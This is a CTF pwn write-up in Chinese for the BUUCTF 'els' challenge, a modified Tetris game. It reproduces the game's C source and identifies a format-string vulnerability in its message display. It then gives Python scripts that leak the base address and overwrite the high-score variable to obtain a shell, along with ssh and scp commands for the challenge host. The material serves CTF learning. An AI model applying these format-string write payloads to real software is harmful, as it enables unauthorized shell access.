博客說明node
文章所涉及的資料來自互聯網整理和我的總結,意在於我的學習和經驗彙總,若有什麼地方侵權,請聯繫本人刪除,謝謝!本文僅用於學習與交流,不得用於非法用途!
網址python
https://buuoj.cn/challengesshell
Pwn類,[BJDCTF 2nd]els數組
使用ssh遠程鏈接Username: ctf Password: guest服務器
遠程鏈接ssh
ssh -p 27875 ctf@node3.buuoj.cn
首先運行一下函數
玩了一下,0分!故意不得分學習
看看源代碼spa
main.c3d
/************************************************* * name: main * 功能:實現俄羅斯方塊小遊戲 * 編寫人:王廷雲 * 編寫日期:2018-3-21 * 最近更新日期:2019-7-3 * 魔改人:TaQini * 最近魔改日期:2020-3-13 **************************************************/ #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <sys/time.h> #include <time.h> #include <string.h> #include <unistd.h> #include "data.h" #define ROW 21 // 遊戲區域的行數 #define COL 18 // 遊戲區域的列數 /* 按鍵枚舉 */ enum key { DOWN, // 上 LEFT, // 左 RIGHT, // 右 CHANGE, // 變化 STOP, // 中止 EXIT, // 退出 UNKNOW, // 未知 }; /***** 函數聲明區域 ******/ void initalGameArea(void); // 初始化遊戲區域 void drawBlock(char bl[NR][NR]); // 畫方塊 void cleanBlock(char bl[NR][NR]); // 清除方塊 void turnBlock(char bl[NR][NR]); // 旋轉方塊 void gameEnd(void); // 結束遊戲 void gameStop(void); // 暫停遊戲 void showGame(void); // 顯示遊戲 void gameSelf(int signo); // 遊戲自動運行 void checkDeleteLine(void); // 檢查是否滿一行 void checkGameOver(char bl[NR][NR]); // 檢查是否遊戲結束 int checkMove(char bl[NR][NR], int flag); // 檢查方塊是否可移動 int getInput(void); // 獲取輸入 /* 全局變量區域 */ static char gameArea[ROW][COL] = {0}; // 遊戲區域數據 static int startX = 7, startY = 6; // 方塊出現的起始位置 static int type = 0; // 方塊當前類型 static int nextType = 0; // 方塊的下一種類型 static int diret = 0; // 方塊的方向 char *state = "\033[32m遊戲中...\033[0m"; // 遊戲運行狀態 static unsigned int level = 0; // 遊戲等級 static unsigned int score = 0; // 遊戲分數 static unsigned int maxScore = 0; // 遊戲最高記錄 static FILE *fp = NULL; // 用於把記錄保存到文件 static FILE *fmsg = NULL; // 用於打開留言文件 /* * 主函數:控制全局流程 */ int main(void) { /* 讀取文件的最高記錄 */ fp = fopen("./record","r+"); if (NULL == fp) { /* * 文件不存在則建立並打開 * "w"方式打開會自動建立不存在的文 */ fp = fopen("./record","w"); } fscanf(fp,"%u",&maxScore); if(maxScore > 666666) { puts("乾的漂亮!獎勵鵝羅獅高手shell一個!"); system("/bin/sh"); exit(0); } /* * 設置鬧鐘: * 當前時間間隔爲0.7秒,下一次時間間隔爲0.7秒 */ struct itimerval timer = {{0,700000},{0,700000}}; setitimer(ITIMER_REAL, &timer,NULL); /* 初始化遊戲區域 */ initalGameArea(); /* 設置遊戲信號 */ signal(SIGALRM, gameSelf); /* 初始化方塊類型 */ srand(time(NULL)); type = rand()%7; nextType = rand()%7; /* 用戶操做 */ int key; while (1) { key = getInput(); switch (key) { case RIGHT : checkMove(bl[type][diret],RIGHT); break; case LEFT : checkMove(bl[type][diret],LEFT); break; case DOWN : checkMove(bl[type][diret],DOWN); break; case CHANGE: turnBlock(bl[type][(diret+1)%4]); break; case STOP : gameStop(); break; case EXIT : gameEnd(); break; case UNKNOW: continue; } /* 畫方塊 */ drawBlock(bl[type][diret]); /* 顯示遊戲 */ showGame(); /* 清除方塊 */ cleanBlock(bl[type][diret]); } return 0; } /* * 函數名:initalGameArea * 函數功能:初始化遊戲區域 * 參數:無 * 返回值:無 */ void initalGameArea(void) { int i; /* 屏幕設置 */ printf("\033[2J"); // 清屏 system("stty -icanon"); // 關緩衝 system("stty -echo"); // 關回顯 fprintf(stdout,"\033[?25l"); // 關閉鼠標顯示 /* 初始化行 */ for (i = 0; i < COL; i++) { gameArea[0][i] = 8; // 第0行 gameArea[5][i] = 8; // 第5行 gameArea[ROW-1][i] = 8; // 最後一行 } /* 初始化列 */ for (i = 0; i < ROW; i++) { gameArea[i][0] = 8; // 第0列 gameArea[i][COL-1] = 8; // 最後一列 } /* 中間一小列 */ for (i = 1; i < 5; i++) { gameArea[i][6] = 8; } } /* * 函數名:gameSelf * 函數功能:做爲信號函數,鬧鐘時間一到就自動下落 * 參數:信號 * 返回值:無 */ void gameSelf(int signo) { /* 畫方塊 */ drawBlock(bl[type][diret]); /* 顯示遊戲 */ showGame(); /* 清除方塊 */ cleanBlock(bl[type][diret]); /* 若是方塊已經到底 */ if (!checkMove(bl[type][diret],DOWN)) { /* 檢查是否遊戲結束 */ checkGameOver(bl[type][diret]); /* 保留已經到底的方塊 */ drawBlock(bl[type][diret]); /* 顯示遊戲結果 */ showGame(); /* 到達邊界後檢查是否可消行 */ checkDeleteLine(); /* 從新開始下一個方塊 */ startY = 6; startX = 7; type = nextType; nextType = rand()%7; diret = 0; } } /* * 函數名:checkDeleteLine * 函數功能:檢查是否可消行 * 參數:無 * 返回值:無 */ void checkDeleteLine(void) { int i, j; int x, y; /* 檢查當前方塊的四行區域內 */ for (i = 3; i >= 0; i--) { for (j = 1; j < COL-1; j++) { /* 檢測方塊是否滿一行 */ if (gameArea[startY+i][j] == 0) break; /* 跳過邊框區域 */ else if (gameArea[startY+i][j] == 8) break; } /* 若是滿了一行則刪除一行 */ if (j == COL-1) { /* 刪除滿了的一行 */ for (j = 1; j < COL-1; j++) { gameArea[startY+i][j] = 0; } /* 分數累加 */ score += 100; /* 記錄最高分 */ if (score > maxScore) { maxScore = score; /* 保存最高分 */ rewind(fp); fprintf(fp,"%u\n",maxScore); } /* 記錄級別 */ if (score%200 == 0) { /* 每200分加一級 */ level++; } /* 刪除後往下移動一行 */ for (x = 1; x < COL-1; x++) { for (y = startY+i; y >= 7; y--) { gameArea[y][x] = gameArea[y-1][x]; } } /* 移動的一行須要檢測範圍加一行 */ i++; } } } /* * 函數名:checkGameOver * 函數功能:檢查遊戲是否結束 * 參數:待檢查方塊數據數據 * 返回值:無 */ void checkGameOver(char block[NR][NR]) { int i; for (i = 0; i < NR; i++) { /* 方塊碰到上方邊界則遊戲結束 */ if (block[0][i] != 0 && gameArea[startY-1][startX+i] == 8) { gameEnd(); } } } /* * 函數名:turnBlock * 函數功能:旋轉方塊 * 參數:須要旋轉的方塊數組數據 * 返回值:無 */ void turnBlock(char bl[NR][NR]) { int x, y; /* 檢查是否越界 */ for (y = 0; y < NR; y++) { for (x = 0; x < NR; x++) { /* 只能判斷到達了邊界 */ if (bl[y][x] != 0 && gameArea[startY+y][startX+x] != 0) { return; } } } /* 兩邊都沒有越界則旋轉方塊方向 */ diret = (diret+1)%4; } /* * 函數名:gameStop * 函數功能:暫停遊戲,等待用戶再次啓動遊戲 * 參數:無 * 返回值:無 */ void gameStop(void) { /* 建立一個暫停的是時鐘 */ struct itimerval stop = {0}, older; /* 設置新鬧鐘並存儲舊鬧鐘 */ setitimer(ITIMER_REAL,&stop,&older); /* 配置暫停後的界面 */ state = "\033[31m暫停中...\033[0m"; // 爲了防止按下暫停鍵後方塊下滑一格 // TaQini: 增長if(startY>5) 防止數組上溢 if(startY>5) startY--; drawBlock(bl[type][diret]); showGame(); cleanBlock(bl[type][diret]); /* 等待用戶按開始鍵或退出鍵 */ int key; while (1) { key = fgetc(stdin); /* 空格開始 */ if (key == ' ') break; /* q 退出 */ else if (key == 'q') gameEnd(); } /* 恢復鬧鐘和遊戲 */ setitimer(ITIMER_REAL,&older,NULL); state = "\033[32m遊戲中...\033[0m"; } /* * 函數名:checkMove * 函數功能:檢查方塊是否可移動,能移則移 * 參數:1.方塊數組數據 2.方向標誌位 * 返回值:可移動返回1,不能移動返回0 */ int checkMove(char bl[NR][NR], int flag) { int m, n; // 用於標明可移動方向 int x, y; // 用於循環 switch (flag) { case RIGHT : n = 0; m = 1; break; case LEFT : n = 0; m = -1; break; case DOWN : n = 1; m = 0; break; } /* 全局檢查 */ for (y = 0; y < NR; y++) { for (x = 0; x < NR; x++) { /* 只能判斷到達了邊界 */ if (bl[y][x] != 0 && gameArea[startY+y+n][startX+x+m] != 0) { return 0; } } } /* 出來講明沒有到達邊界 */ startY += n; startX += m; return 1; } /* * 函數名:getInput * 函數功能:獲取用戶輸入 * 參數:無 * 返回值:無 */ int getInput(void) { char key; key = fgetc(stdin); if (key == '\033' && fgetc(stdin) == '[') // 方向鍵 { switch (fgetc(stdin)) { case 'A': return CHANGE; case 'B': return DOWN; case 'C': return RIGHT; case 'D': return LEFT; } } else if (key == 'q') // 退出鍵 { return EXIT; } else if (key == ' ') // 空格鍵-暫停遊戲 { return STOP; } else // 其它不相關的鍵 return UNKNOW; } /* * 函數名:drawBlock * 函數功能:填充方塊數據 * 參數:方塊數組數據 * 返回值:無 */ void drawBlock(char block[NR][NR]) { int x, y; /* 畫當前方塊 */ for (y = 0; y < NR; y++) { for (x = 0; x < NR; x++) { if (block[y][x] != 0) { gameArea[startY+y][startX+x] = block[y][x]; } } } /* 畫提示的下一個方塊 */ for (x = 0; x < 2; x++) { for (y = 0; y < NR; y++) { if (bl[nextType][0][x][y] != 0) gameArea[3+x][2+y] = bl[nextType][0][x][y]; else gameArea[3+x][2+y] = 0; } } } /* * 函數名:cleanBlock * 函數功能:清除方塊數據 * 參數:方塊數組數據 * 返回值:無 */ void cleanBlock(char bl[NR][NR]) { int x, y; for (y = 0; y < NR; y++) { for (x = 0; x < NR; x++) { if (bl[y][x] != 0) { gameArea[startY+y][startX+x] = 0; } } } } /* * 函數名:showGame * 函數功能:顯示遊戲 * 參數:無 * 返回值:無 */ void showGame(void) { int i, j; /* 定位到第一行第一列 */ fprintf(stdout,"\033[1;1H"); fflush(stdout); /* 打印全部數據 */ for (i = 0; i < ROW; i++) { for (j = 0; j < COL; j++) { if (gameArea[i][j] == 0) // 空白區域 { fprintf(stdout," "); } else if (gameArea[i][j] == 8) // 邊界區域 { fprintf(stdout,"\033[40m \033[0m"); } else // 方塊區域 { fprintf(stdout,"\033[%dm \033[0m",gameArea[i][j]+40); } } fputc('\n',stdout); } /* 打印提示信息 */ fprintf(stdout,"\033[2;3H\033[33m【下一個】\033[0m\n"); fprintf(stdout,"\033[2;15H當前級別:\033[36m%u\033[0m\n",level); fprintf(stdout,"\033[3;15H當前分數:\033[32m%u\033[0m\n",score); fprintf(stdout,"\033[4;15H最高記錄:\033[35m%u\033[0m\n",maxScore); fprintf(stdout,"\033[5;15H當前狀態:%s\n",state); /* 實時顯示留言 */ fmsg = fopen("./msg","r+"); if (NULL == fmsg) exit(0); char message[0x100] = {0}; fread(message,0x80,1,fmsg); fprintf(stdout,"\033[22;1H留言:"); fprintf(stdout,message); } /* * 函數名:gameEnd * 函數功能:處理遊戲結束的設置 * 參數:無 * 返回值:無 */ void gameEnd(void) { /* 配置遊戲結束後的界面 */ state = "\033[31m遊戲結束!!\033[0m"; drawBlock(bl[type][diret]); showGame(); /* 恢復終端設置 */ system("stty icanon"); // 恢復緩衝 system("stty echo"); // 恢復回顯 fprintf(stdout,"\033[?25h"); // 恢復鼠標顯示 /* 尾部處理 */ fprintf(stdout,"\033[200;1H"); // 定位光標到最後一行 fclose(fp); // 關閉文件 exit(0); // 退出程序 }
瀏覽了了一下代碼,發如今留言的那個有格式化字符串漏洞fprintf(stdout,message)
/* 實時顯示留言 */ fmsg = fopen("./msg","r+"); if (NULL == fmsg) exit(0); char message[0x100] = {0}; fread(message,0x80,1,fmsg); fprintf(stdout,"\033[22;1H留言:"); fprintf(stdout,message);
程序的主要流程是玩了666666分就給shell,而後從本地record文件,加載變量最高記錄,把留言信息加載到msg中,把分數加載到record
那既然這樣咱們能夠從msg和record入手,修改它不就得了?
ls -al
發現msg
可讀可寫,record
可讀,只有運行els程序時可寫,那麼msg就是突破口了
獲取showGame()函數基址
msg.py
#!/usr/bin/python payload = "%73$p" f = open('/home/ctf/msg','w') f.write(payload) f.close()
exp.py
#!/usr/bin/python from struct import pack from sys import argv start = eval(argv[1]) score = start-0x1180+0x53ac # hex(666666) = 0xa2c2a payload = "%20c%8$n" + pack('<Q', score+2) print hex(score) f = open('/home/ctf/msg','w') f.write(payload) f.close()
上傳文件到服務器/tmp目錄下
scp -P 27875 /home/tanglei/Desktop/ctf/msg.py ctf@node3.buuoj.cn:/tmp/msg.py scp -P 27875 /home/tanglei/Desktop/ctf/exp.py ctf@node3.buuoj.cn:/tmp/exp.py
先執行msg.py拿到程序基址,再經過exp.py計算maxScore
地址並改寫
python msg.py
咱們開始一把遊戲./els
,而後空格暫停(這個是大佬告訴個人)
這個時候咱們再次打開一個shell去遠程鏈接,在/temp下
python exp.py 0x55ee6e866180
這邊再敲擊空格開始,發現分數上來了
而後讓遊戲介結束,再次打開遊戲,得到flag
感謝
BUUCTF以及勤勞的本身